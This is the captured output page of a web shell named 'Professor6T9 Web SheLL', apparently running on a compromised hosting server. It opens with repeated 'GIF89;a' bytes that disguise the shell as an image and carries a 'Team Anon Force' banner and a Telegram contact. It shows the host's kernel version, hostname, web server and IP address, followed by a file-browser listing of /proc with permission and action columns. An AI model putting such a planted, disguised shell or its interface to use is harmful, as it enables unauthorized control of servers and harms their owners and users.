GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
 LiteSpeed
 156.232.88.2
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-08-01 09:39:37
.. dir - root/root 0755 2024-08-09 02:43:23
1759978 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
1941071 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2100038 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2384804 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2434234 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2456407 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2522674 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2647346 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
2676428 dir - lakevic2/lakevic2 0555 2026-02-22 10:09:52
2737717 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:38
2742700 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:42
4145301 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
645470 dir - lakevic2/lakevic2 0555 2026-02-22 10:10:03
acpi dir - root/root 0555 2024-08-01 09:39:41
bus dir - root/root 0555 2024-08-01 09:39:47
driver dir - root/root 0555 2026-02-22 10:10:23
fs dir - root/root 0555 2024-08-01 09:39:47
irq dir - root/root 0555 2024-08-01 09:39:42
lve dir - root/root 0555 2026-02-22 10:10:04
net link - lakevic2/lakevic2 0555 2026-02-22 10:10:51
scsi dir - root/root 0555 2024-08-01 09:39:47
self link - lakevic2/lakevic2 0555 2026-02-22 10:10:03
sys dir - root/root 0555 2024-08-01 09:39:38
sysvipc dir - root/root 0555 2026-02-22 10:10:23
thread-self link - lakevic2/lakevic2 0555 2026-02-22 10:10:04
tty dir - root/root 0555 2026-02-22 10:10:22
buddyinfo 0 B root/root 0444 2026-02-22 10:10:23
cgroups 0 B root/root 0444 2026-02-22 10:10:17
cmdline text/plain 0 B root/root 0444 2026-02-22 10:06:54
consoles 0 B root/root 0444 2026-02-22 10:10:23
cpuinfo text/plain 0 B root/root 0444 2026-02-22 10:07:39
crypto 0 B root/root 0444 2026-02-22 10:10:23
devices 0 B root/root 0444 2026-02-22 10:10:23
diskstats 0 B root/root 0444 2026-02-22 10:10:09
dma 0 B root/root 0444 2026-02-22 10:10:23
execdomains 0 B root/root 0444 2026-02-22 10:10:23
fb 0 B root/root 0444 2026-02-22 10:10:23
filesystems text/plain 0 B root/root 0444 2026-02-22 10:07:38
interrupts 0 B root/root 0444 2026-02-22 10:06:41
iomem 0 B root/root 0444 2026-02-22 10:10:23
ioports 0 B root/root 0444 2026-02-22 10:10:23
kallsyms 0 B root/root 0444 2024-08-01 09:39:47
kcore 128 TB root/root 0400 2024-08-01 09:39:38
key-users 0 B root/root 0444 2026-02-22 10:10:23
keys 0 B root/root 0444 2026-02-22 10:10:23
kmsg 0 B root/root 0400 2026-02-22 10:10:23
kpagecgroup 0 B root/root 0400 2026-02-22 10:10:23
kpagecount 0 B root/root 0400 2026-02-22 10:10:23
kpageflags 0 B root/root 0400 2026-02-22 10:10:23
loadavg text/plain 0 B root/root 0444 2024-09-04 09:25:03
locks 0 B root/root 0444 2026-02-22 10:10:23
mdstat 0 B root/root 0444 2026-02-22 10:10:23
meminfo text/plain 0 B root/root 0444 2024-09-04 09:20:44
misc 0 B root/root 0444 2026-02-22 10:10:23
modules 0 B root/root 0444 2026-02-22 10:10:23
mounts text/plain 0 B lakevic2/lakevic2 0444 2026-02-22 10:10:51
mtrr 0 B root/root 0644 2024-08-01 09:39:47
pagetypeinfo 0 B root/root 0400 2026-02-22 10:10:23
partitions 0 B root/root 0444 2026-02-22 10:10:02
sched_debug 0 B root/root 0444 2026-02-22 10:10:23
schedstat 0 B root/root 0444 2026-02-22 10:10:23
slabinfo 0 B root/root 0400 2026-02-22 10:10:23
softirqs 0 B root/root 0444 2026-02-22 10:10:23
stat text/plain 0 B root/root 0444 2024-09-04 09:05:11
swaps 0 B root/root 0444 2024-08-01 09:39:38
sysrq-trigger 0 B root/root 0200 2024-08-01 09:39:47
timer_list 0 B root/root 0400 2026-02-22 10:10:23
uptime text/plain 0 B root/root 0444 2024-09-04 09:20:13
version text/plain 0 B root/root 0444 2026-02-22 10:07:39
vmallocinfo 0 B root/root 0400 2026-02-22 10:10:23
vmstat 0 B root/root 0444 2026-02-22 10:10:18
zoneinfo 0 B root/root 0444 2026-02-22 10:10:23
© Professor6T9